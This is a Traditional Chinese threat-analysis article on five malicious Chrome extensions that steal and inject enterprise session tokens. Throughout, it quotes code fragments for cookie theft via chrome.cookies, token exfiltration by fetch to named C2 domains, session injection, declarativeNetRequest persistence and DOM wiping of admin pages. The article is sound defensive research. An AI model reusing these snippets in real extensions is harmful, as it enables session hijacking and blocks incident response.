摘要

這份報告提供了一項技術分析,內容是關於一個涉及五個惡意 Chrome 擴充功能的協同行動,這些擴充功能被設計為針對企業平台(包括 Workday、NetSuite 和 SuccessFactors)進行 Session Hijacking [1] 。這些擴充功能採用一個複雜的多階段攻擊框架,涵蓋認證 Token 外洩、事件應變規避以及雙向 Session 注入。透過分析核心程式碼模式和架構設計,此研究詳細說明了使用 chrome.cookies API 進行 cookie 竊取的機制、使用 declarativeNetRequest 來維持 Session 持續性,以及實作 DOM manipulation 來阻擋安全管理頁面。此外,也與類似的瀏覽器威脅(例如 "Cookie Bite" 攻擊)進行了比較分析,為威脅環境提供脈絡化的解釋 [3] 。研究結果強調了看似良性的瀏覽器擴充功能所造成的關鍵供應鏈漏洞。

他們如何讓你「自願」安裝數位間諜?解構惡意擴充功能的社會工程學與信任濫用手法 | 資訊安全新聞

1. 協同攻擊框架簡介

此行動涉及五個擴充功能,其中四個以 databycloud1104 為品牌,另一個為 softwareaccess ,它們共享相同的基礎架構和攻擊邏輯 [1] 。這些擴充功能在偽裝成多帳戶管理的生產力工具的同時,執行了三個主要惡意功能:cookie 外洩、安全控制阻擋以及 Session 注入。這種協同方法確保了既能竊取 Session Token,又能同時破壞企業安全團隊的應變能力。

攻擊利用了瀏覽器擴充功能的受信任環境,使其能夠繞過傳統的網路和端點安全控制。這些擴充功能請求了一組廣泛的權限,包括 cookies management scripting storage declarativeNetRequest ,這些權限在其惡意操作中至關重要 [1]

2. 深入探討:認證 Token 外洩

這些擴充功能的主要目標是外洩 Session Cookie,特別是針對名為 __session 的 Cookie,其中包含目標企業平台的認證 Token [1]。惡意程式碼使用 chrome.cookies.getAll() API 來擷取目標網域的所有 Cookie,然後透過篩選器來隔離所需的 Token。

2.1. Cookie 擷取與解碼

在擴充功能中識別出的以下 JavaScript 片段說明了擷取和解碼過程:

  1. // Function to retrieve all cookies for a given domain
  2. y=e=>chrome.cookies.getAll({domain:e})
  3. // Function to filter for the '__session' cookie and decode its value
  4. // e: array of cookies, "__session" is the target cookie name
  5. n=e=>decodeURIComponent(e?.filter((e=>"__session"===e.name))?.[0]?.value||"")

chrome.cookies.getAll({domain:e}) 函式是一個強大的 API,它授予擴充功能存取指定網域所有非 HttpOnly Cookie 的權限,這是 Session Hijacking 的一項關鍵能力。後續的函式 n 會過濾 Cookie 陣列 ( e ) 以找到名稱為 __session 的那一個,然後使用 decodeURIComponent 來取得原始的 Session Token 值 [1]。

2.2. 命令與控制 (C2) 通訊

一旦 Token 被擷取出來,它會立即使用 Fetch API 外洩到遠端的 C2 伺服器。C2 基礎架構設計成看起來互不相關,Token 會被發送到 api[.]databycloud[.]com api[.]software-access[.]com ,但它們共享相同的 API 路徑 /api/v1/mv3 ,這顯示了其後端架構是共通的 [1]

  1. // C2 exfiltration logic
  2. // c: C2 URL, a: API path, n: token
  3. const c=e.base_url?e.base_url:t+"/api/v1/mv3"
  4. await fetch(c+a+(n||""),m)

這種持續、定時的外洩(每 60 秒一次)確保了即使使用者的 Session Token 被刷新,Threat actor 也能維持存取權限 [1]

3. Session 持續性與雙向注入

攻擊中最複雜的部分是雙向操控,由 Software Access 擴充功能實作 [1] 。這項技術不僅竊取 Token,還允許 Threat actor 將竊取的 Token 注回到受害者的瀏覽器或他們自己的瀏覽器中,以劫持 Session。

3.1. 透過 chrome.cookies.set() 進行 Token 注入

該擴充功能使用 chrome.cookies.set() API 將竊取的 Session Token 注入瀏覽器中,從而有效地為攻擊者創建一個有效的、已通過驗證的 Session [1] 。這是一項核心機制,在其他 Cookie 攻擊手法中也能見到 [3]

  1. // Simplified logic for session injection
  2. // This allows the attacker to use a stolen token to establish a session
  3. chrome.cookies.set({
  4. url: "https://target-enterprise.com",
  5. name: "__session",
  6. value: stolenValue, // Stolen token received from C2
  7. domain: ".target-enterprise.com"
  8. });

3.2. 使用 declarativeNetRequest 維持 Session 持續性

為了確保竊取的 Session 保持活動狀態,並繞過跨來源資源共用 (CORS) 限制,這些擴充功能利用了 declarativeNetRequest API [1] 。此 API 允許擴充功能在未經使用者知情的情況下,透過附加竊取的 Cookie 來修改外發的 HTTP Request,它在瀏覽器擴充功能層級運作,而不是在頁面的 JavaScript 環境中。

  1. // Using declarativeNetRequest to inject cookies into subsequent requests
  2. chrome.declarativeNetRequest.updateDynamicRules({
  3. removeRuleIds:o,
  4. addRules:a // 'a' contains rules to append cookies to requests
  5. })

這項技術相比簡單的外洩是一個重大的技術進步,因為它為攻擊者提供了一個持續、有效的 Session,從而實現了完整的帳戶接管 [1]。

4. 規避與安全控制阻擋

此行動的一個關鍵特點是蓄意阻擋事件應變和安全管理的功能。像 Tool Access 11 Data By Cloud 2 這樣的擴充功能會阻止存取目標平台內的關鍵管理頁面 [1]

4.1. 用於規避的 DOM Manipulation

這些擴充功能透過抹除頁面內容並將使用者轉向遠離安全敏感的 URL,以達成此效果。這是一種 DOM manipulation,旨在阻撓安全團隊試圖調查或補救遭入侵的情況。

  1. // Example of DOM manipulation to block access to an admin page
  2. // This code would be injected into the page context
  3. if (window.location.href.includes("admin/security")) {
  4. // Erase all content
  5. document.documentElement.innerHTML = "";
  6. // Redirect to a blank page
  7. window.location.href = "about:blank";
  8. }

4.2. 開發者工具停用

此外, Data By Cloud 1 擴充功能還整合了 DisableDevtool library,以防止透過瀏覽器的開發者工具檢查程式碼 [1] 。這是瀏覽器惡意軟體中常見的策略,目的是阻礙分析和逆向工程 [2]

5. 與相關威脅的比較分析

在此行動中觀察到的技術機制與其他有文檔記載的瀏覽器威脅有顯著重疊,突顯了 Session Hijacking 方法論的一種趨勢。

5.1. 與瀏覽器劫持技術的重疊

使用瀏覽器 API 進行監控和操控是惡意擴充功能的特徵。- 舉例來說,某些惡意程式活動會透過 chrome.tabs.onUpdated.addListener 監視使用者的瀏覽,並重新導向至惡意 C2 伺服器 [2] 。雖然目前的行動側重於 Cookie 竊取而非 URL 重新導向,但濫用瀏覽器 API 進行靜默監控的基本原理仍然一致。

5.2. 與利用 Cookie 的攻擊之間的相似性

"Cookie Bite" 攻擊(針對 Azure Entra ID Session)也嚴重依賴認證 Cookie 的擷取和再利用,特別是 ESTSAUTH 和 ESTSAUTHPERSISTENT [3] 。核心技術相似性在於將 chrome.cookies API 武器化以進行即時 Cookie 攔截,以及隨後注入這些 Token 以繞過多因素驗證 (MFA) 並建立持續性存取 [3]

惡意 Chrome 擴充功能的攻擊流程可以總結為下圖,說明了從安裝到 Session Hijacking 的多階段過程:

graph TD A[User Installs Malicious Extension] --> B{Extension Monitors Target Domains}; B --> C{Extract __session Cookie}; C --> D[Exfiltrate Token to C2 Server]; D --> E[C2 Server Stores Token]; E --> F[Attacker Receives Token]; F --> G{"Attacker Injects Token via chrome.cookies.set()"}; G --> H[Session Hijacked]; B --> I[Block Security Admin Pages via DOM Manipulation]; I --> J[Incident Response Evasion]; C --> K[Use declarativeNetRequest for Session Persistence];

6. 結論

對五個惡意 Chrome 擴充功能的分析揭示了一個技術先進且協調的 Session Hijacking 操作。攻擊者已經超越了簡單的認證資料竊取,轉而實施了一個強大的框架,包括持續性 Token 外洩、主動 Session 注入以及複雜的防禦規避。對核心瀏覽器 API(如 chrome.cookies declarativeNetRequest 和 DOM manipulation)的依賴,顯示了對瀏覽器擴充功能安全模型的深入理解。這個案例作為一個關鍵提醒,軟體供應鏈,特別是透過瀏覽器擴充功能市集的途徑,仍然是進階 Threat actor 的高價值目標。